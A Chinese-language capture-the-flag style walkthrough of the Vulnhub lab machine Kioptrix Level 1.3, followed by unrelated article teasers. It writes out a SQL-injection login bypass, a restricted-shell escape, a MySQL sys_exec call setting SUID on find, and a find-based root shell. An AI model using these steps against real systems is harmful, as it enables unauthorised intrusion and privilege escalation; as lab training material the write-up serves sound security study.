Vulnhub靶机:Kioptrix_Level1.3

一、介绍

运行环境:Virtualbox

攻击机:kali(192.168.56.101)

靶机:Kioptrix_Level1.3(192.168.56.109)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-13-4,25

安装虚拟机:

由于下载下来的压缩包内只有一个虚拟硬盘,需要打开一个虚拟机加入这块硬盘

选择自定义安装

在这里插入图片描述

操作系统选择linux,版本随便选一个,其他默认即可

在这里插入图片描述

将原来的硬盘删去,选择下载好的靶机硬盘替换原来的硬盘

在这里插入图片描述

直接打开虚拟机即可

在这里插入图片描述

二、信息收集

使用nmap主机发现靶机ip:192.168.56.109

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、80、139、445

nmap -A 192.168.56.109 -p 1-65535

在这里插入图片描述

打开网站,是一个登录页面,查看源码没有发现隐藏信息

在这里插入图片描述

直接dirsearch进行目录爆破,发现/database.sql文件

在这里插入图片描述

访问/database.sql文件,发现一组用户名密码:john:1234

在这里插入图片描述

但尝试使用该用户名密码登录网站和ssh均登录失败

回到登录页面,使用万能密码尝试登录,用户名:john、密码:a' or 1=1#,登录成功

在这里插入图片描述

得到一组用户名和密码:john:MyNameIsJohn

使用得到的用户名密码登录ssh

直接登录会报错

在这里插入图片描述

原因是靶机的ssh版本太老了,可以使用如下命令登录:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc john@192.168.56.109

在这里插入图片描述

登录后发现该用户命令和可访问的目录都被限制了

在这里插入图片描述

使用echo获取交互式shell

echo os.system("/bin/bash")

在这里插入图片描述

三、提权

查找靶机是否有特权命令,或是否存在可利用的具有root权限的文件,均未发现。

sudo -l
find / -perm -u=s -type f 2>/dev/null

翻一翻靶机各个文件夹,看有没有可利用的文件

/var/www/checklogin.php文件发现数据库的用户名密码

在这里插入图片描述

使用获得的用户名密码登录mysql

mysql -u root -p

在这里插入图片描述

查找数据库,发现robert用户的密码:ADGAdsafdfwt4gadfga==

在这里插入图片描述

切换为robert用户,但robert用户和john用户权限差不多

在这里插入图片描述

数据库版本为:5.0.51a-3ubuntu5.4,登录权限为数据库管理员权限,我们可以使用udf提权

查看数据库,发现数据库已经定义了sys_evec函数,该函数可以执行系统任意命令

use mysql;
select * from mysql.func;

在这里插入图片描述

我们可以给find命令所有者的suid权限,使其可以执行root命令

select sys_exec('chmod u+s /usr/bin/find');

在这里插入图片描述

再次执行命令find / -perm -u=s -type f 2>/dev/null查看具有root权限的二进制文件,find命令添加成功

在这里插入图片描述

使用find命令提权

/usr/bin/find . -exec /bin/bash -p \; -quit

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/753562.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024.3.18

1、试编程 封装一个动物的基类,类中有私有成员:姓名,颜色,指针成员年纪再封装一个狗这样类,共有继承于动物类,自己拓展的私有成员有:指针成员:腿的个数(整型intcount),共有成员函数:会叫:void speak() 要求…

yocto系列之针对tarball编写recipes

回顾 针对借助yocto构建linux 镜像我们已经讲述了6部分, 简单回顾如下: Yocto: 第1部分 - yocto系列之yocto是个什么东东 https://mp.csdn.net/mp_blog/creation/editor/136742286 Yocto: 第2部分 - yocto系列之配置ubuntu主机 https://mp.csdn.net…

弗洛伊德-华沙算法求任意两点之间的最短路径算法

对于弗洛伊德-华沙算法首先是要假设研究的图中是不包含有负边的,对于所给的图中的任意亮点v1,vm,假设两点之间存在一条连通路径,对于该路径中去掉头和尾节点,也就是v1,vm,剩下的节点也就称之为这…

JNDI注入原理及利用IDEA漏洞复现

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】 🎉点赞➕评论➕收…

自定义全能搜索HTML源码

基础功能 可自定义通过筛选搜索,内容结果以嵌入方式展示,并不会直接跳转该地址显示,将以内嵌页面形式浏览,可自行添加其他地址搜索!也可以做搜索引导页等等! 界面布局; 源码为自适应端&#…

21-分支和循环语句_while语句(中)(初阶)

21-2 代码准备 getchar():获取字符 int ch getchar(); //把获取的字符的ASCII码值放在ch中 int main() {int ch getchar();printf("%c\n", ch); //ch存的是该字符的ASCII码值,此处以字符形式打印ASCII码值对应的字符putchar(ch); } 运…

【2024第一期CANN训练营】3、AscendCL运行时管理

文章目录 【2024第一期CANN训练营】3、AscendCL运行时管理1. 初始化与去初始化2. 资源申请与释放2.1 申请流程2.2 释放流程2.3 运行模式(可选) 3. 数据传输3.1 接口调用流程3.2 主要数据传输场景1. Host内的数据传输2. 从Host到Device的数据传输3. 从Dev…

排序算法:快速排序(递归)

文章目录 一、创始人托尼霍尔的快速排序二、挖坑法三、前后指针法 所属专栏:C初阶 引言:这里所说的快速排序有三种,第一种是霍尔大佬自创的,还有一种叫做挖坑法,另外一种叫前后指针法 一、创始人托尼霍尔的快速排序 1.这里我们先…

拆解Spring boot:Springboot为什么如此丝滑而简单?源码剖析解读自动装配

🎉🎉欢迎光临,终于等到你啦🎉🎉 🏅我是苏泽,一位对技术充满热情的探索者和分享者。🚀🚀 🌟持续更新的专栏《Spring 狂野之旅:从入门到入魔》 &a…

MySQL 篇- Java 连接 MySQL 数据库并实现数据交互

🔥博客主页: 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 JDBC 概述 2.0 实现 Java 连接 MySQL 数据库并实现数据交互的完整过程 2.1 安装数据库驱动包 2.2 创建数据源对象 2.3 获取数据库连接对象 2.4 创建 SQL 语句 2.…

8.Python从入门到精通—Python 字符串,转义字符,字符串运算符

8.Python从入门到精通—Python 字符串,转义字符,字符串运算符 Python 字符串创建字符串访问字符串中的字符字符串切片字符串操作符字符串方法 Python 转义字符Python字符串运算符 Python 字符串 在 Python 中,字符串是一种基本数据类型,用于表示文本数据…

构建部署_Docker常用命令

构建部署_Docker常见命令 启动命令镜像命令容器命令 启动命令 启动docker:systemctl start docker 停止docker:systemctl stop docker 重启docker:systemctl restart docker 查看docker状态:systemctl status docker 开机启动&…

Java微服务分布式事务框架seata

🌹作者主页:青花锁 🌹简介:Java领域优质创作者🏆、Java微服务架构公号作者😄 🌹简历模板、学习资料、面试题库、技术互助 🌹文末获取联系方式 📝 往期热门专栏回顾 专栏…

SSH远程连接断开后,程序继续运行

1、问题 我们在使用SSH连接远程服务器跑代码的时候,可能会遇到 代码需要跑很久 的情况,你可能会想 断开远程连接,但是,代码仍然要继续跑。 (eg: 晚上关电脑,但是想让代码继续跑着,第二天想看结果) 2、scre…

哪里有视频素材网站免费下载?高清烟花视频素材哪里有?

如果你在寻找那些能点亮夜空的绚丽烟花视频素材,或者无水印的高清视频素材,那下面这些资源网站将会是你的宝库。今天,我要分享给你一些最佳的无水印视频素材下载网站,让你的视频制作闪耀起来。 1.蛙学府 这个网站是视频创作者的天…

Centos strema 9 环境部署Glusterfs9

本文档只是创建复制卷,分布式卷,分布式复制卷,纠删卷 操作系统 内核 角色 Ip地址 说明 CentOS Stream 9 x86_64 5.14.0-427.el9.x86_64 客户端 client 192.168.80.119 挂载存储业务机器 CentOS Stream 9 x86_64 5.14.0-427.el9.x8…

开展“人工智能+”行动,Gooxi与你一起奔赴新质未来

在今年两会上,“新质生产力”成为了反复被提及的热词。在政府发布的工作报告中“大力推进现代化产业体系建设,加快发展新质生产力”更是被置于政府工作任务的首位。具体说来,发展新质生产力包括产业链升级、培育新产业、推进数字经济建设三方…

linux安装anconda

第一步: 下载anaconda 下载地址:(选择Linux版本的) https://repo.anaconda.com/archive/第二步: 把下载好的anaconda放到指定的路径 然后在该路径下(我是直接放属于我的根目录下) 输入以下命令…

国创证券|资源再生概念持续活跃,超越科技两连板,大地海洋等走高

资源再生概念15日盘中再度走强,截至发稿,超越科技涨停斩获两连板,深水海纳涨超14%,大地海洋涨超12%,华新环保涨近9%,天奇股份、格林美、怡球资源等涨超5%。 消息面上,3月13日,国务院…

ElasticSearch架构设计

一、基础概念 Elasticsearch 是一个分布式可扩展的实时搜索和分析引擎,一个建立在全文搜索引擎 Apache Lucene™ 基础上的搜索引擎.当然 Elasticsearch 并不仅仅是 Lucene 那么简单,它不仅包括了全文搜索功能,还可以进行以下工作: 一个分布式的实时文档…